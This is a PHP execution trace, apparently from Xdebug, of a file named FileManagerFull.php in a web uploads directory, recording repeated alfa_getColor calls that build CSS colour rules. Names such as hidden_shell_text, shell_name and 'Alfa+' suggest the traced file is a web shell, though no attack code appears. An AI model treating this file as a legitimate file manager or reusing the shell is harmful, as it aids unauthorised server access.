5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	133	1	0.017813	2799704
5	133	R			'#0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#0E304A'
5	134	0	0.017837	2799704	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#0E304A'	'border: 1px solid {color}'
5	134	1	0.017854	2799856
5	134	R			'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'border: 1px solid #0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.ajaxarea{border: 1px solid #0E304A}'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.foot'
5	135	0	0.017903	2799768	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'shell_border'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#0E304A', 'multi_selector' => ['.header' => 'border: 7px solid {color}', '#meunlist' => 'border-color: {color}', '#hidden_sh' => 'background-color: {color}', '.ajaxarea' => 'border: 1px solid {color}', '.foot' => 'border-color: {color}']]
5	135	1	0.017938	2799768
5	135	R			'#0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#0E304A'
5	136	0	0.017961	2799768	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#0E304A'	'border-color: {color}'
5	136	1	0.017977	2799912
5	136	R			'border-color: #0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'border-color: #0E304A'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.foot{border-color: #0E304A}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'header_vars'
5	137	0	0.018026	2799760	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'header_vars'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#27979B'
5	137	1	0.018051	2799760
5	137	R			'#27979B'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#27979B'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.header_vars{color: #27979B;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'header_values'
5	138	0	0.018099	2799792	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'header_values'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#67ABDF'
5	138	1	0.018123	2799792
5	138	R			'#67ABDF'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.header_values{color: #67ABDF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'header_on'
5	139	0	0.018169	2799824	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'header_on'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#00FF00'
5	139	1	0.018194	2799824
5	139	R			'#00FF00'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.header_on{color: #00FF00;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'header_off'
5	140	0	0.018239	2799888	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'header_off'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#ff0000'
5	140	1	0.018264	2799888
5	140	R			'#ff0000'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#ff0000'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.header_off{color: #ff0000;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'header_none'
5	141	0	0.018313	2799888	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'header_none'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#00FF00'
5	141	1	0.018337	2799888
5	141	R			'#00FF00'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.header_none{color: #00FF00;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'home_shell'
5	142	0	0.018382	2799952	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'home_shell'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#ff0000'
5	142	1	0.018406	2799952
5	142	R			'#ff0000'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#ff0000'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.home_shell{color: #ff0000;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'home_shell:hover'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.home_shell:hover'
5	143	0	0.018463	2799952	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'home_shell:hover'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.home_shell:hover' => 'color: {color};']]
5	143	1	0.018494	2799952
5	143	R			'#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#FFFFFF'
5	144	0	0.018518	2799952	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	144	1	0.018533	2800088
5	144	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.home_shell:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'back_shell'
5	145	0	0.018580	2800008	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'back_shell'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#efbe73'
5	145	1	0.018604	2800008
5	145	R			'#efbe73'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#efbe73'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.back_shell{color: #efbe73;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'back_shell:hover'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.back_shell:hover'
5	146	0	0.018662	2800008	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'back_shell:hover'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.back_shell:hover' => 'color: {color};']]
5	146	1	0.018692	2800008
5	146	R			'#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#FFFFFF'
5	147	0	0.018716	2800008	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	147	1	0.018731	2800144
5	147	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.back_shell:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'header_pwd'
5	148	0	0.018779	2800072	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'header_pwd'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#00FF00'
5	148	1	0.018803	2800072
5	148	R			'#00FF00'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.header_pwd{color: #00FF00;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'header_pwd:hover'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.header_pwd:hover'
5	149	0	0.018862	2800072	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'header_pwd:hover'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_pwd:hover' => 'color: {color};']]
5	149	1	0.018893	2800072
5	149	R			'#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#FFFFFF'
5	150	0	0.018917	2800072	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	150	1	0.018932	2800208
5	150	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.header_pwd:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'header_drive'
5	151	0	0.018978	2800200	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'header_drive'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#00FF00'
5	151	1	0.019003	2800200
5	151	R			'#00FF00'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.header_drive{color: #00FF00;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'header_drive:hover'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.header_drive:hover'
5	152	0	0.019058	2800200	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'header_drive:hover'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.header_drive:hover' => 'color: {color};']]
5	152	1	0.019089	2800200
5	152	R			'#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#FFFFFF'
5	153	0	0.019112	2800200	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	153	1	0.019128	2800336
5	153	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.header_drive:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'header_show_all'
5	154	0	0.019175	2800200	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'header_show_all'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#00FF00'
5	154	1	0.019200	2800200
5	154	R			'#00FF00'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#00FF00'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.header_show_all{color: #00FF00;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'disable_functions'
5	155	0	0.019245	2800200	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'disable_functions'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#ff0000'
5	155	1	0.019270	2800200
5	155	R			'#ff0000'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#ff0000'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.disable_functions{color: #ff0000;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'footer_text'
5	156	0	0.019317	2800328	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'footer_text'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#27979B'
5	156	1	0.019341	2800328
5	156	R			'#27979B'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#27979B'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.footer_text{color: #27979B;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'menu_options'
5	157	0	0.019388	2800328	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'menu_options'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#27979B'
5	157	1	0.019412	2800328
5	157	R			'#27979B'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#27979B'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.menu_options{color: #27979B;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'menu_options:hover'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.menu_options:hover'
5	158	0	0.019477	2800328	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'menu_options:hover'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#646464', 'multi_selector' => ['.menu_options:hover' => 'background-color: {color};font-weight: unset;']]
5	158	1	0.019509	2800328
5	158	R			'#646464'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#646464'
5	159	0	0.019534	2800328	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#646464'	'background-color: {color};font-weight: unset;'
5	159	1	0.019551	2800504
5	159	R			'background-color: #646464;font-weight: unset;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'background-color: #646464;font-weight: unset;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.menu_options:hover{background-color: #646464;font-weight: unset;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'options_list'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.content_options_holder .header center a'
5	160	0	0.019619	2800496	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'options_list'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#00FF00', 'multi_selector' => ['.content_options_holder .header center a' => 'color: {color};']]
5	160	1	0.019650	2800496
5	160	R			'#00FF00'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#00FF00'
5	161	0	0.019674	2800496	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#00FF00'	'color: {color};'
5	161	1	0.019690	2800632
5	161	R			'color: #00FF00;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #00FF00;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.content_options_holder .header center a{color: #00FF00;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'options_list:hover'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.content_options_holder .header center a:hover'
5	162	0	0.019753	2800456	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'options_list:hover'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.content_options_holder .header center a:hover' => 'color: {color};']]
5	162	1	0.019784	2800456
5	162	R			'#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#FFFFFF'
5	163	0	0.019808	2800456	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	163	1	0.019824	2800592
5	163	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.content_options_holder .header center a:hover{color: #FFFFFF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'options_list_header'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.txtfont_header'
5	164	0	0.019899	2800584	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'options_list_header'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#59cc33', 'multi_selector' => ['.txtfont_header' => 'color: {color};']]
5	164	1	0.019931	2800584
5	164	R			'#59cc33'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#59cc33'
5	165	0	0.019955	2800584	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#59cc33'	'color: {color};'
5	165	1	0.019971	2800720
5	165	R			'color: #59cc33;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #59cc33;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.txtfont_header{color: #59cc33;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'options_list_text'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.txtfont,.tbltxt'
5	166	0	0.020038	2800584	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'options_list_text'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.txtfont,.tbltxt' => 'color: {color};']]
5	166	1	0.020068	2800584
5	166	R			'#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#FFFFFF'
5	167	0	0.020092	2800584	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	167	1	0.020108	2800720
5	167	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.txtfont,.tbltxt{color: #FFFFFF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'Alfa+'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.alfa_plus'
5	168	0	0.020166	2800584	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'Alfa+'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#06ff0f', 'multi_selector' => ['.alfa_plus' => 'color: {color};font-weight: unset;']]
5	168	1	0.020198	2800584
5	168	R			'#06ff0f'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#06ff0f'
5	169	0	0.020222	2800584	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#06ff0f'	'color: {color};font-weight: unset;'
5	169	1	0.020238	2800744
5	169	R			'color: #06ff0f;font-weight: unset;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #06ff0f;font-weight: unset;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.alfa_plus{color: #06ff0f;font-weight: unset;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'hidden_shell_text'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '#hidden_sh a'
5	170	0	0.020301	2800608	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'hidden_shell_text'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#00FF00', 'multi_selector' => ['#hidden_sh a' => 'color: {color};']]
5	170	1	0.020377	2800608
5	170	R			'#00FF00'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#00FF00'
5	171	0	0.020403	2800608	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#00FF00'	'color: {color};'
5	171	1	0.020419	2800744
5	171	R			'color: #00FF00;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #00FF00;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '#hidden_sh a{color: #00FF00;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'hidden_shell_version'
5	172	0	0.020467	2800840	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'hidden_shell_version'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#ff0000'
5	172	1	0.020493	2800840
5	172	R			'#ff0000'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#ff0000'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.hidden_shell_version{color: #ff0000;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'shell_name'
5	173	0	0.020540	2800840	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'shell_name'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#FF0000'
5	173	1	0.020564	2800840
5	173	R			'#FF0000'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#FF0000'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.shell_name{color: #FF0000;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'main_row:hover'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.main tr:hover'
5	174	0	0.020623	2800840	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'main_row:hover'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#646464', 'multi_selector' => ['.main tr:hover' => 'background-color: {color};']]
5	174	1	0.020658	2800840
5	174	R			'#646464'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#646464'
5	175	0	0.020683	2800840	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#646464'	'background-color: {color};'
5	175	1	0.020699	2800992
5	175	R			'background-color: #646464;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'background-color: #646464;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.main tr:hover{background-color: #646464;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'main_header'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.main th'
5	176	0	0.020760	2800856	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'main_header'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main th' => 'color: {color};']]
5	176	1	0.020790	2800856
5	176	R			'#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#FFFFFF'
5	177	0	0.020814	2800856	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	177	1	0.020830	2800992
5	177	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.main th{color: #FFFFFF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'main_name'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.main .main_name'
5	178	0	0.020887	2800840	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'main_name'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .main_name' => 'color: {color};font-weight: unset;']]
5	178	1	0.020919	2800840
5	178	R			'#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#FFFFFF'
5	179	0	0.020942	2800840	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#FFFFFF'	'color: {color};font-weight: unset;'
5	179	1	0.020959	2801000
5	179	R			'color: #FFFFFF;font-weight: unset;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #FFFFFF;font-weight: unset;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.main .main_name{color: #FFFFFF;font-weight: unset;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'main_size'
5	180	0	0.021010	2800864	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'main_size'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#67ABDF'
5	180	1	0.021035	2800864
5	180	R			'#67ABDF'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.main_size{color: #67ABDF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'main_modify'
5	181	0	0.021083	2800864	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'main_modify'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#67ABDF'
5	181	1	0.021107	2800864
5	181	R			'#67ABDF'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.main_modify{color: #67ABDF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'main_owner_group'
5	182	0	0.021154	2801120	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'main_owner_group'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#67ABDF'
5	182	1	0.021178	2801120
5	182	R			'#67ABDF'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#67ABDF'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.main_owner_group{color: #67ABDF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'main_green_perm'
5	183	0	0.021225	2801120	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'main_green_perm'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#25ff00'
5	183	1	0.021253	2801120
5	183	R			'#25ff00'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#25ff00'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.main_green_perm{color: #25ff00;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'main_red_perm'
5	184	0	0.021299	2801120	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'main_red_perm'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#FF0000'
5	184	1	0.021323	2801120
5	184	R			'#FF0000'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#FF0000'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.main_red_perm{color: #FF0000;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'main_white_perm'
5	185	0	0.021370	2801120	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'main_white_perm'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#FFFFFF'
5	185	1	0.021394	2801120
5	185	R			'#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.main_white_perm{color: #FFFFFF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'beetween_perms'
5	186	0	0.021439	2801120	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	630	1	'beetween_perms'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = '#FFFFFF'
5	186	1	0.021463	2801120
5	186	R			'#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	630	$value = '#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	631	$css .= '.beetween_perms{color: #FFFFFF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'main_actions'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.main .actions'
5	187	0	0.021519	2801120	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'main_actions'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .actions' => 'color: {color};']]
5	187	1	0.021549	2801120
5	187	R			'#FFFFFF'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#FFFFFF'
5	188	0	0.021573	2801120	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#FFFFFF'	'color: {color};'
5	188	1	0.021589	2801256
5	188	R			'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #FFFFFF;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.main .actions{color: #FFFFFF;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'minimize_editor_background'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.minimized-wrapper'
5	189	0	0.021647	2801096	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'minimize_editor_background'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#0e304a', 'multi_selector' => ['.minimized-wrapper' => 'background-color: {color};']]
5	189	1	0.021679	2801096
5	189	R			'#0e304a'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#0e304a'
5	190	0	0.021703	2801096	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#0e304a'	'background-color: {color};'
5	190	1	0.021720	2801248
5	190	R			'background-color: #0e304a;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'background-color: #0e304a;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.minimized-wrapper{background-color: #0e304a;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'minimize_editor_text'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.minimized-text'
5	191	0	0.021783	2801112	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'minimize_editor_text'
5		A						/var/www/html/uploads/FileManagerFull.php	618	$target = ['key_color' => '#f5deb3', 'multi_selector' => ['.minimized-text' => 'color: {color};']]
5	191	1	0.021814	2801112
5	191	R			'#f5deb3'
4		A						/var/www/html/uploads/FileManagerFull.php	635	$color = '#f5deb3'
5	192	0	0.021842	2801112	str_replace	0		/var/www/html/uploads/FileManagerFull.php	636	3	'{color}'	'#f5deb3'	'color: {color};'
5	192	1	0.021858	2801248
5	192	R			'color: #f5deb3;'
4		A						/var/www/html/uploads/FileManagerFull.php	636	$code = 'color: #f5deb3;'
4		A						/var/www/html/uploads/FileManagerFull.php	637	$css .= '.minimized-text{color: #f5deb3;}'
4		A						/var/www/html/uploads/FileManagerFull.php	628	$key = 'editor_border'
4		A						/var/www/html/uploads/FileManagerFull.php	634	$k = '.editor-explorer,.editor-modal'
5	193	0	0.021918	2801352	alfa_getColor	1		/var/www/html/uploads/FileManagerFull.php	635	1	'editor_border'
